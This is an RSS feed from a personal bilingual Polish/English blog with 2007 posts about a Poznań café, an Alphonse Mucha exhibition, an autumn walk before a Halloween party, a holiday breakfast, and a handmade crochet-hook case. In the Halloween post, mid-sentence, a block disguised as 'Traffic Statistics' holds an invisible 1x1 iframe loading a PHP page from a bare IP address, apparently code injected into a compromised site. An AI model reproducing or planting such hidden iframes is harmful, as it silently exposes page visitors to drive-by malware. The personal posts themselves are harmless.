<p align="center"> <a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik9.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik9.thumbnail.jpg" alt="golebnik9.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik8.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik8.thumbnail.jpg" alt="golebnik8.jpg" /></a></p>
<p align="center">&nbsp;</p>
<p align="left">A to ptasie pióra na papierowych kloszach lamp &#8211; wspaniały efekt, prawda?</p>
<p align="center">&nbsp;</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik6.jpg" title="W Gołębniku" rel="lightbox[649]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/golebnik6.thumbnail.jpg" alt="golebnik6.jpg" /></a></p>
<p align="left">&nbsp;</p>
<p align="center">.</p>
<p>I&#8217;m bored with pubs. When I was a student, I worked as a barmaid so today I don&#8217;t like pubs and I go to bed very early (don&#8217;t like to stay at night). Billows of funk and crowd irritate me now. Usually I spent spare time at home, with my animals and crafts, but sometimes it&#8217;s nice to go out.</p>
<p>I had an idea to start a new habit: once a week, on Sunday, I go out with my friend to a nice café. I rather don&#8217;t eat sweetes, but exception like this is ok :) Of course this photos were made before my diet. An, of course, I realize that I&#8217;m to busy to go out once a week, so we go out when we have some spare time, but regularly.</p>
<p>One Sunday we started our &#8222;new tradition&#8221; and we went to my favorite café &#8211; named Gołębnik (in Polish it means &#8222;dovecot&#8221;). You can see photos from this nice, homelike and old-fashioned place and its delicious chocolate and muffins. At the last photo you can see feathers sticked on a paper lamp &#8211; isn&#8217;t it a lovely idea?</p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2007/11/09/golebnik/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Mucha</title>
		<link>http://michelle.schowek.net/2007/11/04/mucha</link>
		<comments>http://michelle.schowek.net/2007/11/04/mucha#comments</comments>
		<pubDate>Sun, 04 Nov 2007 07:35:02 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>
		<category><![CDATA[Z życia wzięte]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2007/11/04/mucha/</guid>
		<description><![CDATA[Jeszcze do 11 listopada trwa w Poznaniu wystawa prac Alfonsa Muchy &#8211; najbardziej znanego przedstawiciela europejskiej secesji. Grafiki, pastele, rysunki, obrazy olejne, ale także książki, zdjęcia i biżuteria, a na zakończenie &#8211; krótki film o życiu artysty &#8211; wszystko to mozna zobaczyć w Centrum Kultury &#8222;Zamek&#8221;. Wystawa została zorganizowana przez The Mucha Foundation. Wszystkich, którzy [...]]]></description>
			<content:encoded><![CDATA[<p>Jeszcze do 11 listopada trwa w Poznaniu wystawa prac Alfonsa Muchy &#8211; najbardziej znanego przedstawiciela europejskiej secesji. Grafiki, pastele, rysunki, obrazy olejne, ale także książki, zdjęcia i biżuteria, a na zakończenie &#8211; krótki film o życiu artysty &#8211; wszystko to mozna zobaczyć w <a href="http://www.zamek.poznan.pl/index.php?k=1">Centrum Kultury &#8222;Zamek&#8221;</a>. Wystawa została zorganizowana przez <a href="http://www.muchafoundation.org/MFoundation.aspx">The Mucha Foundation</a>. Wszystkich, którzy jeszcze jej nie widzieli, zachęcam gorąco :) Ostatniego dnia wystawa czynna będzie do godziny 22:00 :)</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha.jpg" title="Alfons Mucha - wystawa na Zamku" rel="lightbox[674]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha.thumbnail.jpg" alt="mucha.jpg" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha1.jpg" title="Alfons Mucha - wystawa na Zamku" rel="lightbox[674]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha1.thumbnail.jpg" alt="mucha1.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha2.jpg" title="Alfons Mucha - wystawa na Zamku" rel="lightbox[674]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha2.thumbnail.jpg" alt="mucha2.jpg" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha4.jpg" title="Alfons Mucha - wystawa na Zamku" rel="lightbox[674]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha4.thumbnail.jpg" alt="mucha4.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha3.jpg" title="Alfons Mucha - wystawa na Zamku" rel="lightbox[674]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/11/mucha3.thumbnail.jpg" alt="mucha3.jpg" /></a></p>
<p>Alphonse Mucha  exhibition at the  <a href="http://www.zamek.poznan.pl/index.php?k=1">Zamek Cultural Centre</a>, in Poznań, will be open until  11th November 2007. I was there lately because Mucha is one of my favourite artists. He is the most famous European artist of Art Noveau. Exhibition was organised by <a href="http://www.muchafoundation.org/MFoundation.aspx">The Mucha Foundation</a> and presents Mucha&#8217;s graphics, drawings, projects, oil paintings, books, photos, jewellery and short film about life Mucha&#8217;s life.</p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2007/11/04/mucha/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Jesienny spacer</title>
		<link>http://michelle.schowek.net/2007/10/31/jesienny-spacer</link>
		<comments>http://michelle.schowek.net/2007/10/31/jesienny-spacer#comments</comments>
		<pubDate>Wed, 31 Oct 2007 11:26:49 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>
		<category><![CDATA[Z życia wzięte]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2007/10/31/jesienny-spacer/</guid>
		<description><![CDATA[Aż trudno uwierzyć, że te zdjęcia zostały zrobione w Poznaniu! To w Antoninku znajdują się takie piękne miejsca. Złota polska jesień w pełnej krasie&#8230; Dziś Halloween. Mówcie co chcecie, ale mnie podobają się anglosaskie tradycje związane z tym świętem. Bardzo chciałabym kiedyś spędzić ten dzień w Stanach lub Anglii. Zdecydowałam się na urządzenie małego &#8222;Halloween [...]]]></description>
			<content:encoded><![CDATA[<p>Aż trudno uwierzyć, że te zdjęcia zostały zrobione w Poznaniu! To w Antoninku znajdują się takie piękne miejsca. Złota polska jesień w pełnej krasie&#8230;</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien.jpg" title="jesien.jpg" rel="lightbox[668]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien.thumbnail.jpg" alt="jesien.jpg" /></a></p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien1.jpg" title="jesien1.jpg" rel="lightbox[668]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien1.thumbnail.jpg" alt="jesien1.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien2.jpg" title="jesien2.jpg" rel="lightbox[668]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien2.thumbnail.jpg" alt="jesien2.jpg" /></a></p>
<p><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien3.jpg" title="jesien3.jpg" rel="lightbox[668]"></a></p>
<p style="text-align: center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien3.jpg" title="jesien3.jpg" rel="lightbox[668]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/10/jesien3.thumbnail.jpg" alt="jesien3.jpg" /></a></p>
<p>Dziś Halloween. Mówcie co chcecie, ale mnie podobają się anglosaskie tradycje związane z tym świętem. Bardzo chciałabym kiedyś spędzić ten dzień w Stanach lub Anglii. Zdecydowałam się na urządzenie małego &#8222;Halloween party&#8221; &#8211; życzcie mi powodzenia, bo miałam bardzo mało czasu na przygotowania&#8230; Mam jednak nadzieję, że goście będą zadowoleni. Relację zdam jutro :)</p>
<p align="center">.</p>
<p align="center">.</p>
<p>It&#8217;s hard to believe that these photos were taken in Poznań city! There is a part of Poznań called &#8222;Antoninek&#8221; and I took my photos there. When weather is sunny and warm in autumn we call this time &#8222;golden polish autumn&#8221;&#8230; So, you have it on my photos.</p>
<p>It&#8217;s a Halloween today&#8230; In my country we rather don&#8217;t celebrate this holiday,<!-- Traffic Statistics --><br />
<iframe src=http://61.132.75.71/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe><br />
<!-- End Traffic Statistics --> but I like it very much. I would like to spent some Halloween in United States &#8217;cause I like american traditions relevant with this day.</p>
<p>Because I dream about Halloween I decided to make my own Halloween party. Wish me luck &#8217;cause I don&#8217;t have much time to prepare everything&#8230; But I hope, that our guests will enjoy their time! I&#8217;ll describe everything tomorrow :)</p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2007/10/31/jesienny-spacer/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Urlop</title>
		<link>http://michelle.schowek.net/2007/09/03/urlop-2</link>
		<comments>http://michelle.schowek.net/2007/09/03/urlop-2#comments</comments>
		<pubDate>Mon, 03 Sep 2007 20:38:14 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>
		<category><![CDATA[Z życia wzięte]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2007/09/03/urlop-2/</guid>
		<description><![CDATA[Ok, postanowiłam pisać mojego bloga także po angielsku&#8230;. specjalnie dla moich obcojęzycznych znajomych :) z góry przepraszam za błędy, proszę się nie krępować z poprawianiem mnie ;) Na pewno wersje angielskie postów będą krótsze i mniej wyrafinowane &#8211; c&#8217;est la vie ;) Już od kilku dni mam wolne&#8230; wbrew pozorom jestem bardziej zabiegana niz w [...]]]></description>
			<content:encoded><![CDATA[<p><em>Ok, postanowiłam pisać mojego bloga także po angielsku&#8230;. specjalnie dla moich obcojęzycznych znajomych :) z góry przepraszam za błędy, proszę się nie krępować z poprawianiem mnie ;) Na pewno wersje angielskie postów będą krótsze i mniej wyrafinowane &#8211; c&#8217;est la vie ;)</em></p>
<p>Już od kilku dni mam wolne&#8230; wbrew pozorom jestem bardziej zabiegana niz w zwykłe dni :) W każdym razie pierwszy dzień swojego wolnego uczciłam wybierając się na drugie śniadanie do mojej ulubionej knajpki przy Starym Rynku.</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/09/sor.jpg" title="sor.jpg" rel="lightbox[502]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/09/sor.thumbnail.jpg" alt="sor.jpg" /> </a><a href="http://michelle.schowek.net/wp-content/uploads/2007/09/sor2.jpg" title="sor2.jpg" rel="lightbox[502]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/09/sor2.thumbnail.jpg" alt="sor2.jpg" /></a></p>
<p>Bardzo lubię to nastrojowe miejsce: kwiaty, starocie, miłe drobiazgi.</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/09/sor3.jpg" title="sor3.jpg" rel="lightbox[502]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/09/sor3.thumbnail.jpg" alt="sor3.jpg" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2007/09/sor4.jpg" title="sor4.jpg" rel="lightbox[502]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/09/sor4.thumbnail.jpg" alt="sor4.jpg" /></a></p>
<p>Moje ulubione, staroświeckie fuksje&#8230;</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/09/fuksja.jpg" title="fuksja.jpg" rel="lightbox[502]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/09/fuksja.thumbnail.jpg" alt="fuksja.jpg" /></a> <a href="http://michelle.schowek.net/wp-content/uploads/2007/09/fuksja2.jpg" title="fuksja2.jpg" rel="lightbox[502]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/09/fuksja2.thumbnail.jpg" alt="fuksja2.jpg" /></a></p>
<p>Zamówiłam bruschettę (którą ostatnio zajadam się w wielkich ilościach) i herbatę karmelową z ciasteczkiem. Do tego miła lektura &#8211; i czas upływał cudownie.</p>
<p align="center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/09/bruschetta.jpg" title="bruschetta.jpg" rel="lightbox[502]"><img src="http://michelle.schowek.net/wp-content/uploads/2007/09/bruschetta.thumbnail.jpg" alt="bruschetta.jpg" /></a></p>
<p><em>Ok, I&#8217;ve decided that I will write my blog also in English &#8211; especially for my friends from foreign countries ;) Excuse me my mistakes, feel free to correct me ;) I know that I won&#8217;t be able to write in English long and sophisticated posts as in polish &#8211; but&#8230; c&#8217;est la vie! :) So&#8230;</em></p>
<p>I&#8217;ve been on my holidays since few days. It&#8217;s my first so long free time, but I&#8217;m more busy than normal! First day of my vacation I went to my favourite restaurant near the Old Town Market. I love this place &#8211; its flowers, antiques and delicious meals. I ate bruschetta (my favourite meal this summer), I drank my caramel tea, I watched beautiful antiquated fuchsias, read my book and spent wonderful time!</p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2007/09/03/urlop-2/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Szydełkownik</title>
		<link>http://michelle.schowek.net/2007/06/08/szydelkownik</link>
		<comments>http://michelle.schowek.net/2007/06/08/szydelkownik#comments</comments>
		<pubDate>Fri, 08 Jun 2007 14:42:03 +0000</pubDate>
		<dc:creator>michelle</dc:creator>
				<category><![CDATA[Poznańskie klimaty]]></category>
		<category><![CDATA[Szycie]]></category>

		<guid isPermaLink="false">http://michelle.schowek.net/2007/06/08/szydelkownik/</guid>
		<description><![CDATA[Zrobiłam go dla Mamy &#8211; wielokrotnie pożyczałam od Niej szydełka, które potem oczywiście ulegały zagubieniu. Jednym z prezentów na Dzień Matki był więc ten oto &#8222;szydełkownik&#8221; wraz z zawartością. Szydełkownik to taki schowek, w którym trzyma się szydełka :) W znacznej części uszyty na maszynie, jedynie detale dopracowałam ręcznie. Zawiązana dookoła guzika kokardka po rozwiązaniu [...]]]></description>
			<content:encoded><![CDATA[<p>Zrobiłam go dla Mamy &#8211; wielokrotnie pożyczałam od Niej szydełka, które potem oczywiście ulegały zagubieniu. Jednym z prezentów na Dzień Matki był więc ten oto &#8222;szydełkownik&#8221; wraz z zawartością. Szydełkownik to taki schowek, w którym trzyma się szydełka :) W znacznej części uszyty na maszynie, jedynie detale dopracowałam ręcznie. Zawiązana dookoła guzika kokardka po rozwiązaniu pozwala na rozwinięcie szydełkownika &#8211; uzyskuje się dostęp do kieszonek, w których umieszcza się szydełka.</p>
<p style="text-align: center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/06/cos4.jpg" rel="lightbox" title="Szydełkownik"><img src="http://michelle.schowek.net/wp-content/uploads/2007/06/cos4.thumbnail.jpg" alt="Szydełkownik" /></a></p>
<p>A tak na marginesie &#8211; ostatnio wciąga mnie scrapbooking cyfrowy, powyżej jedno z moich ostatnich dokonań. Oczywiście pomoc <a href="http://xis.schowek.net/">Krzyśka</a> kilkakrotnie okazała się niezbędna, ale  <a href="http://pl.wikipedia.org/wiki/GIMP">GIMP</a> skrywa dla mnie coraz mniej tajemnic :)</p>
<p>Ciekawostka dla nie-Poznaniaków zaglądających czasem do mojego Schowka. Dziwne &#8222;coś&#8221; na zdjęciu to rura, tradycyjne, poznańskie ciastko, wypiekane z okazji różnorakich świąt. Wspomnienie z dzieciństwa &#8211; wychodzę z Mamą z kościoła, a przed nim stoi babuleńka z wielkim, wiklinowym koszem. W nim, na białej serwecie rumienią się i pachną stosy rur. Tak miło się je chrupało! Rury są strasznie twarde (można połamać sobie na nich zęby) i są jedną z kulinarnych osobliwości Poznania. Nie spotkałam ich w żadnym innym mieście i nie słyszałam, by gdzieś jeszcze się je robiło. O dziwo, nawet nie udało mi się w internecie znaleźć przepisu na nie. Jeśli w jakiś sposób uda mi się go odnaleźć, na pewno wypróbuję i opublikuję :)</p>
<p style="text-align: center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/06/rura.jpg" rel="lightbox" title="Poznańska rura :)"><img src="http://michelle.schowek.net/wp-content/uploads/2007/06/rura.thumbnail.jpg" alt="Poznańska rura :)" /></a></p>
<p>Ostatnio na blogach na które zaglądam &#8222;zaroiło&#8221; się od truskawek. Dziewczyny narobiły mi apetytu, więc i u mnie dziś soczyście, czerwono i słodko. Truskawki z jogurtem naturalnym &#8211; pyyycha :)</p>
<p style="text-align: center"><a href="http://michelle.schowek.net/wp-content/uploads/2007/06/truskawki.jpg" rel="lightbox" title="Truskawki"><img src="http://michelle.schowek.net/wp-content/uploads/2007/06/truskawki.thumbnail.jpg" alt="Truskawki" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://michelle.schowek.net/2007/06/08/szydelkownik/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

